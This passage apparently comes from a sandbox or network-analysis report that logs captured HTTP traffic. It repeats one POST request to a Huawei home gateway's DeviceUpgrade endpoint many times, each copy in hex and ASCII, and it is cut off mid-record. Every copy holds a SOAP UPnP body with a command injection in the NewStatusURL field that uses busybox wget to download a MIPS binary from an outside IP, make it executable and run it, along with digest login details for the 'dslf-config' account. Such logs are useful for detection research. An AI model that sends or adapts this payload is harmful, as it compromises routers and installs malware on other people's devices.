6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget 